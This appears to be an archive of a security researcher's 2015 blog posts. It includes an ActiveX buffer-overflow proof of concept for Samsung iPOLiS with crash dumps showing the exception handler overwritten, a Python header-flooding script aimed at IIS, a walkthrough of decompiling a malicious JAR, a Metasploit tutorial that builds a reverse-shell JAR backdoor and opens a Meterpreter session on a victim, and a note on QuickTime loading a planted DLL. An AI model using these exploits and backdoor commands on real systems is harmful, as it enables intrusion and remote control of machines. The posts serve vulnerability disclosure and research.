Supports around 40 Request Headers
Can send invalid request methods and headers
Fuzz Methods and Headers
Fuzz Headers with XSS String(s), blank strings, huge buffer

https://github.com/praveendhac/VulnerabilityResearch/blob/master/WebServer_Fuzzer.py

Please drop comments if you want me to add new feature(s).

Saturday, February 28, 2015

Samsung iPOLiS 1.12.2 XnsSdkDeviceIpInstaller ActiveX ReadConfigValue Remote Code Execution PoC

Author: Praveen Darshanam
CVE: 2015-0555
Vulnerable File: "C:\Program Files\Samsung\iPOLiS Device Manager\XnsSdkDeviceIpInstaller.ocx"
prototype: "Function ReadConfigValue ( ByVal szKey As String ) As String"
memberName: "ReadConfigValue"
progid/ActiveX: "XNSSDKDEVICELib.XnsSdkDevice"
Operating System: Windows 7 Ultimate N SP1
Vulnerable Software: Samsung iPOLiS 1.12.2

Proof of Concept
<html>
<head> Samsung iPOLiS XnsSdkDeviceIpInstaller ActiveX ReadConfigValue Remote Code Execution PoC </head>
<object classid='clsid:D3B78638-78BA-4587-88FE-0537A0825A72' id='target'> </object>
<script>
var argCount = 1;
var arg1= "";

for (i=0; i<= 4000; i++)
{
 arg1 += "A";
}
target.ReadConfigValue(arg1);

</script>
</html>
Stack Trace
Exception Code: ACCESS_VIOLATION
Disasm: 6492CE MOV AL,[EDI+EDX]

Seh Chain:
--------------------------------------------------
1 41414141

Called From                   Returns To
--------------------------------------------------
XNSSDKDEVICE.6492CE           41414141
41414141                      8ABAB41
8ABAB41                       mfc100.64BA90C1
mfc100.64BA90C1               3D39D016
FFFFFFFE                      mfc100.64AFBE5C

Registers:
--------------------------------------------------
EIP 006492CE
EAX 00000408
EBX 01AD9FB0 -> 0065A564
ECX 00000414
EDX 08ABAB41
EDI 0000009C
ESI 0000009C
EBP 002DEA9C -> Asc: AAAAAAAAA
ESP 002DE7F4 -> 59D56B19 -> Asc: k k

Block Disassembly:
--------------------------------------------------
6492BD MOV ECX,EAX
6492BF XOR ESI,ESI
6492C1 MOV [EBP-298],ECX
6492C7 TEST ECX,ECX
6492C9 JLE SHORT 00649340
6492CB MOV EDX,[EBP+8]
6492CE MOV AL,[EDI+EDX]  <--- crash="" p="">6492D1 CMP AL,2F
6492D3 JNZ SHORT 00649333
6492D5 TEST EDI,EDI
6492D7 JNZ SHORT 00649304
6492D9 PUSH 80
6492DE LEA EAX,[EBP-90]
6492E4 PUSH EDI
6492E5 PUSH EAX

ArgDump:
--------------------------------------------------
EBP+8 08ABAB41
EBP+12 64BA90C1 -> EBE84589
EBP+16 3D39D016
EBP+20 FFFFFFFE
EBP+24 64AFBE5C -> CCCCCCC3
EBP+28 00000018

Stack Dump:
--------------------------------------------------
2DE7F4 19 6B D5 59 08 00 00 00 A0 EA 2D 00 10 92 64 00  [.k.Y..........d.]
2DE804 14 04 00 00 64 65 C4 64 00 00 00 00 00 00 00 00  [....de.d........]
2DE814 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  [................]
2DE824 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  [................]
2DE834 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  [................]

Exception Code: ACCESS_VIOLATION
Disasm: 41414141 ?????

Seh Chain:
--------------------------------------------------
1 41414141

Called From                   Returns To
--------------------------------------------------
ntdll.77B670B4                ntdll.77BDAB1A
ntdll.77BDAB1A                ntdll.77BB0404
ntdll.77BB0404                ntdll.77B3F956
ntdll.77B3F956                ntdll.77B67017
ntdll.77B67017                41414141
41414141                      8ABAB41
8ABAB41                       mfc100.64BA90C1
mfc100.64BA90C1               3D39D016
FFFFFFFE                      mfc100.64AFBE5C

Registers:
--------------------------------------------------
EIP 77B670B4 -> C0000005
EAX 002DE0EC -> C0000005
EBX 41414141
ECX 41414141
EDX 00000000
EDI 00000000
ESI 002DE0EC -> C0000005
EBP 002DE0D8 -> 002DE40C
ESP 002DE088 -> 77B662A4


Block Disassembly:
--------------------------------------------------
77B6709C MOV [ESP+8],EBX
77B670A0 JMP 77B837AD
77B670A5 LEA ESP,[ESP]
77B670AC LEA ESP,[ESP]
77B670B0 MOV EDX,ESP
77B670B2 SYSENTER
77B670B4 RETN  <--- crash="" p="">77B670B5 LEA ESP,[ESP]
77B670BC LEA ESP,[ESP]
77B670C0 LEA EDX,[ESP+8]
77B670C4 INT 2E
77B670C6 RETN
77B670C7 NOP
77B670C8 PUSH EBP
77B670C9 MOV EBP,ESP


ArgDump:
--------------------------------------------------
EBP+8 002DE0EC -> C0000005
EBP+12 002DE13C -> 00000000
EBP+16 00000000
EBP+20 C0000005
EBP+24 00000001
EBP+28 00000000

P.S. CERT tried to coordinate but there wasn't any response from Samsung

CVE-2010-2730: Microsoft IIS Request Header Buffer Overflow Vulnerability

Writing Proof of Concept based on information available on various sites.
Checkpoint details the Vulnerability as

"The vulnerability is due to a heap buffer overflow error when processing unexpected number of headers in an HTTP request. A remote unauthenticated attacker can exploit this vulnerability by sending a maliciously crafted HTTP request to a target server. Successful exploitation would allow an attacker to inject and execute arbitrary code on the target system with the security privileges of the IIS Worker process."

Configuring FastCGI for IIS 7.5
Browse to
    Control Panel -> Programs and Features 
click "Turn Windows features on or off" and follow the path shown below.
Note: I also tried enabling only CGI and un checking all the other checkboxes given below.


Install Administrator pack for IIS 7.5 after installing the pack click on start and type IIS you will see Internet Information Services (IIS Manager), clicking on it will take you to below window.

Configure FastCGI as shown below

If you feel configuration didn'g go fine you can configure and verify the same using CLI.
appcmd.exe is found at
%windir%\system32\inetsrv\


If FastCGI installation is successful accessing
http://localhost/phpinfo.cgi
should show below page. I created the page phpinfo.php under
C:\Inetpub\wwwroot\
make sure the directory has proper permissions.

Proof of Concept
#!/usr/bin/python

import os, sys
import urllib2

def main(all_args):
    print "in main"
    if len(all_args) != 3:
        print "invalid args"
        print "usage:\n\t%s server_ip_addr http_port"%(all_args[0])
        sys.exit();
    headers = {"Host":all_args[1],
                "Accept": "text/html,application/xhtml+xml,application/xml",
                "Accept-Language": "en-us",
                "Accept-Charset": "ISO-8859-1,utf-8;q=0.7,*;q=0.7",
                "Keep-Alive": "115",
                "Connection": "keep-alive"}

    for k,v in headers.items():
        print (k, v)

    #create junk headers
    print "Creating junk Request Headers"
    for i in range(1,400):
        junk_header = "My-Name" + str(i)
        value = "Praveen Darshanam" + str(i)
        headers.update({junk_header: value})

    url = "http://" + all_args[1] + ":" + all_args[2] + "/phpinfo.php"
    #url = "http://" + all_args[1] + "/info.php"
    print "url: " + url
    #data = "From Praveen Darshanam"
    #req = urllib2.Request(url, data, headers)
    req = urllib2.Request(url, None, headers)
    response = urllib2.urlopen(req)
    print "Response Length =" + str(len(response.read()))

if __name__ == "__main__":
    print "sys.argv=" + str(sys.argv)
    main(sys.argv)

Usage
./IIS7.5_Multiple_Headers_DoS_CVE-2010-2730.py server_ip_addr http_port
praveend@praveend-VirtualBox:~$
$ ./IIS7.5_Multiple_Headers_DoS_CVE-2010-2730.py 192.168.56.110 80
sys.argv=['./IIS7.5_Multiple_Headers_DoS_CVE-2010-2730.py', '192.168.56.110', '80']
in main
('Accept-Language', 'en-us')
('Connection', 'keep-alive')
('Accept', 'text/html,application/xhtml+xml,application/xml')
('Keep-Alive', '115')
('Accept-Charset', 'ISO-8859-1,utf-8;q=0.7,*;q=0.7')
('Host', '192.168.56.110')
Creating junk Request Headers
url: http://192.168.56.110:80/phpinfo.php
Response Length =119639

Exploit Traffic


I didn't see any crash after sending multiple fake headers, not sure if I interpreted the Vulnerability in correct manner.

References
https://technet.microsoft.com/en-us/library/dd239230(v=ws.10).aspx
http://www.iis.net/configreference/system.webserver/fastcgi
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2010-2730
http://www.checkpoint.com/defense/advisories/public/2013/cpai-03-dec2.html
http://www.juniper.net/security/auto/vulnerabilities/vuln4476.html
https://technet.microsoft.com/library/security/ms10-065

Sunday, February 22, 2015

Java Malware: Java Decompilers for JAR Malware Analysis

Krakatau comes with three tools, an assembler, disassembler and a decompiler.
From the author of Krakatau, Robert Grosse
        " The Krakatau decompiler takes a different approach to most Java decompilers.
         It can be thought of more as a compiler whose input language is Java bytecode
         and whose target language happens to be Java source code. Krakatau takes in
         arbitrary bytecode, and attempts to transform it to equivalent Java code. This
         makes it robust to minor obfuscation, though it has the drawback of not
         reconstructing the "original" source, leading to less readable output than a
         pattern matching decompiler would produce for unobfuscated Java classes." 

decompile.py can extract class files from a .jar file and decompiles the extracted .class file to Java code (.java). Below command decompiles .class file to .java file and places the file in praveendecompile directory.
$ python decompile.py -path . hello.class -out praveendecompile/

Dissecting the command
$ python decompile.py -out temp_praveen/ 2f8d204b747ed971a8bc8927b2e0898c.jar
-out        output directory
-path      path to core language classes, directories etc
-skip      continue upon errors

$ python decompile.py -out temp_praveen/ 2f8d204b747ed971a8bc8927b2e0898c.jar
Krakatau  Copyright (C) 2012-14  Robert Grosse
This program is provided as open source under the GNU General Public License.
See LICENSE.TXT for more details.
Attempting to automatically locate the standard library...
Found at  /usr/lib/jvm/java-1.7.0-openjdk-i386/jre/lib/rt.jar
processing target plugins/Server, 2 remaining
Loading plugins/Server
Loading java/lang/Object
Loading java/lang/Throwable
Loading java/io/Serializable
Loading java/lang/IllegalMonitorStateException
Loading java/lang/RuntimeException
Loading java/lang/Exception
Decompiling method ()V
Decompiling method onLine ()V
Decompiling method offLine ()V
Decompiling method getId ()Ljava/lang/String;
Class written to /home/praveend/javadecompilers/Krakatau/temp_praveen/plugins/Server.java
0.369355201721  seconds elapsed
processing target Main, 1 remaining
Loading Main
Loading java/lang/ClassLoader
Loading java/io/InputStream
Loading java/io/Closeable
Loading java/lang/AutoCloseable
Loading java/io/ByteArrayInputStream
Loading java/io/PrintStream
Loading java/io/FilterOutputStream
Loading java/io/OutputStream
Loading java/io/Flushable
Loading java/lang/Appendable
Loading java/lang/String
Loading java/lang/Comparable
Loading java/lang/CharSequence
Loading java/util/jar/JarInputStream
Loading java/util/zip/ZipInputStream
Loading java/util/zip/InflaterInputStream
Loading java/io/FilterInputStream
Loading java/util/zip/ZipConstants
Loading java/lang/OutOfMemoryError
Loading java/lang/VirtualMachineError
Loading java/lang/Error
Decompiling method iiIiiiiiii ([BLjava/lang/String;)Ljava/util/jar/JarInputStream;
Loading java/util/HashMap
Loading java/util/AbstractMap
Loading java/util/Map
Loading java/lang/Cloneable
Loading java/lang/ClassCastException
Loading java/lang/NullPointerException
Decompiling method getResourceAsStream (Ljava/lang/String;)Ljava/io/InputStream;
Loading java/util/jar/JarEntry
Loading java/util/zip/ZipEntry
Decompiling method ALLATORIxDEMOxapqldkjnfkqieurqoewqeqwdasdascasdasd (Ljava/util/jar/JarEntry;)Ljava/lang/String;
Loading java/lang/ClassNotFoundException
Loading java/lang/ReflectiveOperationException
Loading java/lang/Class
Loading java/lang/reflect/GenericDeclaration
Loading java/lang/reflect/Type
Loading java/lang/reflect/AnnotatedElement
Decompiling method findClass (Ljava/lang/String;)Ljava/lang/Class;
Decompiling method iiIiiiiiii (Ljava/util/jar/JarInputStream;)V
Loading java/io/ByteArrayOutputStream
Decompiling method
()V
Decompiling method ALLATORIxDEMOxapqldkjnfkqieurqoewqeqwdasdascasdasd (Ljava/util/jar/JarInputStream;)Ljava/util/jar/JarEntry;
Decompiling method iiIiiiiiii ()V
Loading java/lang/StackTraceElement
Loading java/lang/StringBuffer
Loading java/lang/AbstractStringBuilder
Loading java/lang/ArrayIndexOutOfBoundsException
Loading java/lang/IndexOutOfBoundsException
Loading java/lang/NegativeArraySizeException
Decompiling method ALLATORIxDEMOxapqldkjnfkqieurqoewqeqwdasdascasdasd (Ljava/lang/String;)Ljava/lang/String;
Loading java/lang/reflect/Method
Loading java/lang/reflect/AccessibleObject
Loading java/lang/reflect/Member
Decompiling method main ([Ljava/lang/String;)V
Decompiling method ALLATORIxDEMOxapqldkjnfkqieurqoewqeqwdasdascasdasd (Ljava/lang/String;[B)Ljava/lang/Class;
Decompiling method ALLATORIxDEMOxapqldkjnfkqieurqoewqeqwdasdascasdasd ()Ljava/io/InputStream;
Loading java/io/Reader
Loading java/lang/Readable
Loading java/io/InputStreamReader
Loading java/io/BufferedReader
Decompiling method ALLATORIxDEMOxapqldkjnfkqieurqoewqeqwdasdascasdasd (Ljava/io/InputStream;)Ljava/lang/String;
Decompiling method ALLATORIxDEMOxapqldkjnfkqieurqoewqeqwdasdascasdasd (Ljava/io/ByteArrayOutputStream;)[B
Decompiling method loadClass (Ljava/lang/String;)Ljava/lang/Class;
Loading java/lang/StringBuilder
Decompiling method ALLATORIxDEMOxapqldkjnfkqieurqoewqeqwdasdascasdasd ([BLjava/lang/String;)[B
Class written to /home/praveend/javadecompilers/Krakatau/temp_praveen/Main.java
15.0299580097  seconds elapsed

*********************************************************

Highlighted the importand parts of the decompilation

Above decompilation creates couple of files under temp_praveen directory
praveend@praveend-VirtualBox:~/javadecompilers/Krakatau/temp_praveen$
$ ls -R
Main.java  plugins
./plugins:
Server.java

Rename 2f8d204b747ed971a8bc8927b2e0898c.jar to 2f8d204b747ed971a8bc8927b2e0898c.zip and unzip the zip file (unzip on .jar file might work, did not try though)
praveend@praveend-VirtualBox:~/javadecompilers/Krakatau$
$ unzip 2f8d204b747ed971a8bc8927b2e0898c.zip 
Archive:  2f8d204b747ed971a8bc8927b2e0898c.zip
  inflating: META-INF/MANIFEST.MF    
  inflating: MANIFEST.MF             
  inflating: ID                      
  inflating: plugins/Server.class    
  inflating: Main.class              
praveend@praveend-VirtualBox:~/javadecompilers/Krakatau$

disassemble.py takes class or jar file as input and converts it to assembly language format and the output can be reassembled. The ouput is saved into .j file. If jar file is input it disassembles all the class files part of jar into .j files.
python disassemble.py Main.class

$ python ../disassemble.py Main.class 
processing target Main.class, 1/1 remaining
Class written to /home/praveend/javadecompilers/Krakatau/unzipped_malware/Main.j
0.280933856964  seconds elapsed

javap binary is included with the JDK installation. javap can be used to see the bytecode of a class
$javap -c Main.class 

assemble.py is used to convert byte code(.j) to class file. JVM class file format
python assemble.py Main.j

$ python ../../assemble.py Server.j
Processing file Server.j, 1/1 remaining
Class written to /home/praveend/javadecompilers/Krakatau/unzipped_malware/plugins/Server.class

Java malware might use different obfuscation techniques to make it difficult for Malware Analyst and detection devices.Errors encountered while decompilation might need to be fixed manually.

http://research.zscaler.com/2013/08/malicious-jar-files-hosted-on-google.html
http://stackoverflow.com/questions/27340147/how-to-decompile-class-and-jar-file-using-storyyeller-krakatau
https://github.com/Storyyeller/Krakatau/blob/master/README.TXT
https://raw.githubusercontent.com/Storyyeller/Krakatau/master/Documentation/assembler.txt

Saturday, February 21, 2015

Compromising machines running Linux using Metasploit JAR Backdoors

We can compromise Windows machine using malicious EXE file acting as a backdoor generated using Metasploit. Machines running  Linux can be compromised using jar backdoors.

Creating jar backdoor file using Metasploit msfpayload to hack Linux box
root@kali-praveend-attacker:~# msfpayload java/meterpreter/reverse_tcp LHOST=1.1.1.32 LPORT=8888 R > compromise.jar
[!] ************************************************************************
[!] *               The utility msfpayload is deprecated!                  *
[!] *              It will be removed on or about 2015-06-08               *
[!] *                   Please use msfvenom instead                        *
[!] *  Details: https://github.com/rapid7/metasploit-framework/pull/4333   *
[!] ************************************************************************

Execute the jar file created above on Linux box
praveen@victim:/tmp$ sudo java -jar compromise.jar

On Kali Execute below commands so that victim will connect back to the attacker when victim executes JAR backdoor
msf > use exploit/multi/handler
msf exploit(handler) > set payload java/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 1.1.1.32
LHOST => 1.1.1.32
msf exploit(handler) > set LPORT 8888
LPORT => 8888
msf exploit(handler) > exploit
msf exploit(handler) > show options
Module options (exploit/multi/handler):
   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------
Payload options (java/meterpreter/reverse_tcp):
   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  1.1.1.32         yes       The listen address
   LPORT  8888             yes       The listen port
Exploit target:
   Id  Name
   --  ----
   0   Wildcard Target
msf exploit(handler) > exploit
[*] Started reverse handler on 1.1.1.32:8888
[*] Starting the payload handler...
[*] Sending stage (30355 bytes) to 1.1.1.40
[*] Meterpreter session 1 opened (1.1.1.32:8888 -> 1.1.1.40:33457) at 2015-02-15 17:49:04 -0500

Post exploitation commands
meterpreter > sysinfo
Computer    : victim
OS          : Linux 3.13.0-32-generic (amd64)
Meterpreter : java/java
meterpreter > pwd
/tmp

Creating jar file from class file.
root@kali-ucs:~/rmx_remote# jar cvf compromise.jar EvilMBean.class
added manifest
adding: EvilMBean.class(in = 172) (out= 134)(deflated 22%)


Saturday, February 14, 2015

Apple QuickTimePlayer Insecure DLL Loading Code Execution

By default QuickTimePlayer installation does't come with CoreFoundation.dll but QT Player tries to load the DLL when started.

Create any malicious DLL and rename it to CoreFoundation.dll, copy to C:\Program Files (x86)\QuickTime\

After copying the DLL if we start QuickTimePlayer we will execute the code part of malicious DLL leading to DLL Injection.

Location: C:\Program Files (x86)\QuickTime\CoreFoundation.dll
Application: QuickTime 7.7.2
OS: Windows 7 Ultimate N SP1

Apples response
        After examining your report we do not see any actual security implications. 
        Writing a file to the C:\Program Files (x86)\QuickTime  directory requires local 
        administrative privileges.